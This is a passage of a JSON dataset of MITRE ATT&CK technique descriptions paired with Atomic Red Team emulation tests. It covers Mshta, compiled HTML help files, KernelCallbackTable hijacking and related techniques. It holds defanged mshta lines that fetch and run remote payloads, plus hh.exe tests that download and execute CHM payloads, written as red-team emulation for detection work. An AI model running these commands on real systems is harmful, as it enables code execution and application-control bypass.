the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Service: Service Metadata", - "File: File Modification", - "File: File Creation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_effective_permissions": [ - "SYSTEM", - "Administrator", - "User" - ] - }, - "atomic_tests": [] - }, - "T1149": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1149", - "url": "https://attack.mitre.org/techniques/T1149" - }, - { - "url": "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf", - "description": "Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.", - "source_name": "Prolific OSX Malware History" - }, - { - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", - "source_name": "Methods of Mac Malware Persistence" - } - ], - "modified": "2020-03-30T13:53:57.518Z", - "name": "LC_MAIN Hijacking", - "description": "**This technique has been deprecated and should no longer be used.**\n\nAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.", - "x_mitre_deprecated": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Application whitelisting", - "Process whitelisting", - "Whitelisting by file name or path" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1170": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Ricardo Dias", - "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", - "type": "attack-pattern", - "created": "2018-01-16T16:13:52.465Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1170", - "url": "https://attack.mitre.org/techniques/T1170" - }, - { - "source_name": "Wikipedia HTML Application", - "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.", - "url": "https://en.wikipedia.org/wiki/HTML_Application" - }, - { - "source_name": "MSDN HTML Applications", - "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.", - "url": "https://msdn.microsoft.com/library/ms536471.aspx" - }, - { - "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", - "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", - "source_name": "Cylance Dust Storm" - }, - { - "source_name": "Red Canary HTA Abuse Part Deux", - "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.", - "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/" - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html", - "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.", - "source_name": "FireEye Attacks Leveraging HTA" - }, - { - "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.", - "source_name": "Airbus Security Kovter Analysis", - "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/" - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", - "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", - "source_name": "FireEye FIN7 April 2017" - }, - { - "source_name": "LOLBAS Mshta", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/", - "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019." - } - ], - "modified": "2022-01-19T21:19:03.910Z", - "name": "Mshta", - "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Application whitelisting", - "Digital Certificate Validation" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1574.013": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde", - "type": "attack-pattern", - "created": "2022-02-25T15:27:44.927Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.013", - "url": "https://attack.mitre.org/techniques/T1574/013" - }, - { - "source_name": "Lazarus APT January 2022", - "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", - "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022." - }, - { - "source_name": "FinFisher exposed ", - "url": "https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/", - "description": "Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022." - }, - { - "source_name": "Windows Process Injection KernelCallbackTable", - "url": "https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/", - "description": "odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022." - }, - { - "source_name": "NtQueryInformationProcess", - "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess", - "description": "Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022." - } - ], - "modified": "2022-03-22T15:47:33.915Z", - "name": "KernelCallbackTable", - "description": "Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution" - ] - }, - "atomic_tests": [] - }, - "T1542.004": { - "technique": { - "x_mitre_platforms": [ - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc", - "type": "attack-pattern", - "created": "2020-10-20T00:05:48.790Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1542.004", - "url": "https://attack.mitre.org/techniques/T1542/004" - }, - { - "source_name": "Cisco Synful Knock Evolution", - "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", - "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020." - }, - { - "source_name": "Cisco Blog Legacy Device Attacks", - "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", - "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020." - } - ], - "modified": "2020-10-22T02:18:19.568Z", - "name": "ROMMONkit", - "description": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Firmware: Firmware Modification" - ], - "x_mitre_permissions_required": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1218.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", - "type": "attack-pattern", - "created": "2020-01-23T18:53:54.377Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1218.001", - "url": "https://attack.mitre.org/techniques/T1218/001" - }, - { - "source_name": "Microsoft HTML Help May 2018", - "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.", - "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk" - }, - { - "source_name": "Microsoft HTML Help ActiveX", - "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.", - "url": "https://msdn.microsoft.com/windows/desktop/ms644670" - }, - { - "source_name": "Microsoft HTML Help Executable Program", - "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.", - "url": "https://msdn.microsoft.com/windows/desktop/ms524405" - }, - { - "source_name": "MsitPros CHM Aug 2017", - "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.", - "url": "https://msitpros.com/?p=3909" - }, - { - "source_name": "Microsoft CVE-2017-8625 Aug 2017", - "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.", - "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625" - } - ], - "modified": "2022-03-11T18:59:36.836Z", - "name": "Signed Binary Proxy Execution: Compiled HTML File", - "description": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation", - "File: File Creation" - ], - "x_mitre_defense_bypassed": [ - "Digital Certificate Validation", - "Application control" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1218.001" - }, - "atomic_tests": [ - { - "name": "Compiled HTML Help Local Payload", - "auto_generated_guid": "5cb87818-0d7c-4469-b7ef-9224107aebe8", - "description": "Uses hh.exe to execute a local compiled HTML Help payload.\nUpon execution calc.exe will open\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "local_chm_file": { - "description": "Local .chm payload", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The payload must exist on disk at specified location (#{local_chm_file})\n", - "prereq_command": "if (Test-Path #{local_chm_file}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{local_chm_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm\" -OutFile \"#{local_chm_file}\"\n" - } - ], - "executor": { - "command": "hh.exe #{local_chm_file}\n", - "name": "command_prompt" - } - }, - { - "name": "Compiled HTML Help Remote Payload", - "auto_generated_guid": "0f8af516-9818-4172-922b-42986ef1e81d", - "description": "Uses hh.exe to execute a remote compiled HTML Help payload.\nUpon execution displays an error saying the file cannot be open\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "remote_chm_file": { - "description": "Remote .chm payload", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.001/src/T1218.001.chm" - } - }, - "executor": { - "command": "hh.exe #{remote_chm_file}\n", - "name": "command_prompt" - } - }, - { - "name": "Invoke CHM with default Shortcut Command Execution", - "auto_generated_guid": "29d6f0d7-be63-4482-8827-ea77126c1ef7", - "description": "Executes a CHM file with the default Shortcut Command method.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "chm_file_path": { - "description": "Default path of CHM", - "type": "string", - "default": "Test.chm" - }, - "hh_file_path": { - "description": "path of modified HH.exe", - "type": "path", - "default": "$env:windir\\hh.exe" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}", - "name": "powershell" - } - }, - { - "name": "Invoke CHM with InfoTech Storage Protocol Handler", - "auto_generated_guid": "b4094750-5fc7-4e8e-af12-b4e36bf5e7f6", - "description": "Executes a CHM file with the ITS protocol handler.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "hh_file_path": { - "description": "path of modified HH.exe", - "type": "path", - "default": "$env:windir\\hh.exe" - }, - "infotech_storage_handler": { - "description": "Default InfoTech Storage Protocol Handler", - "type": "string", - "default": "its" - }, - "chm_file_path": { - "description": "Default path of CHM", - "type": "string", - "default": "Test.chm" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}", - "name": "powershell" - } - }, - { - "name": "Invoke CHM Simulate Double click", - "auto_generated_guid": "5decef42-92b8-4a93-9eb2-877ddcb9401a", - "description": "Executes a CHM file simulating a user double click.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "chm_file_path": { - "description": "Default path of CHM", - "type": "string", - "default": "Test.chm" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}", - "name": "powershell" - } - }, - { - "name": "Invoke CHM with Script Engine and Help Topic", - "auto_generated_guid": "4f83adda-f5ec-406d-b318-9773c9ca92e5", - "description": "Executes a CHM file with a defined script engine, ITS Protocol Handler, and help topic extension.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "topic_extension": { - "description": "Default Help Topic", - "type": "string", - "default": "html" - }, - "hh_file_path": { - "description": "path of modified HH.exe", - "type": "path", - "default": "$env:windir\\hh.exe" - }, - "infotech_storage_handler": { - "description": "Default InfoTech Storage Protocol Handler", - "type": "string", - "default": "its" - }, - "script_engine": { - "description": "Default Script Engine", - "type": "string", - "default": "JScript" - }, - "chm_file_path": { - "description": "Default path of CHM", - "type": "string", - "default": "Test.chm" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}", - "name": "powershell" - } - }, - { - "name": "Invoke CHM Shortcut Command with ITS and Help Topic", - "auto_generated_guid": "15756147-7470-4a83-87fb-bb5662526247", - "description": "Executes a CHM file using the Shortcut Command method with a defined ITS Protocol Handler, and help topic extension.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "topic_extension": { - "description": "Default Help Topic", - "type": "string", - "default": "html" - }, - "hh_file_path": { - "description": "path of modified HH.exe", - "type": "path", - "default": "$env:windir\\hh.exe" - }, - "infotech_storage_handler": { - "description": "Default InfoTech Storage Protocol Handler", - "type": "string", - "default": "its" - }, - "chm_file_path": { - "description": "Default path of CHM", - "type": "string", - "default": "Test.chm" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}", - "name": "powershell" - } - }, - { - "name": "Decompile Local CHM File", - "auto_generated_guid": "20cb05e0-1fa5-406d-92c1-84da4ba01813", - "description": "Uses hh.exe to decompile a local compiled HTML Help file.\nUpon successful execution the chm file will decompile to disk.\nReference:https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "local_chm_file": { - "description": "Local .chm payload", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The payload must exist on disk at specified location (#{local_chm_file})\n", - "prereq_command": "if (Test-Path #{local_chm_file}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{local_chm_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm\" -OutFile \"#{local_chm_file}\"\n" - } - ], - "executor": { - "command": "hh.exe -decompile %temp% #{local_chm_file}\n", - "cleanup_command": "del %temp%\\T1218.001.html >nul 2>&1\n", - "name": "command_prompt" - } - } - ] - }, - "T1070.005": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c", - "type": "attack-pattern", - "created": "2020-01-31T12:39:18.816Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1070.005", - "url": "https://attack.mitre.org/techniques/T1070/005" - }, - { - "url": "https://technet.microsoft.com/bb490717.aspx", - "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.", - "source_name": "Technet Net Use" - } - ], - "modified": "2021-02-09T13:31:01.970Z", - "name": "Indicator Removal on Host: Network Share Connection Removal", - "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "User Account: User Account Authentication", - "Command: Command Execution", - "Network Traffic: Network Traffic Content", - "Process: Process Creation" - ], - "x_mitre_defense_bypassed": [ - "Host forensic analysis" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_system_requirements": [ - "Established network share connection to a remote system. Level of access depends on permissions of the account used." - ], - "identifier": "T1070.005" - }, - "atomic_tests": [ - { - "name": "Add Network Share", - "auto_generated_guid": 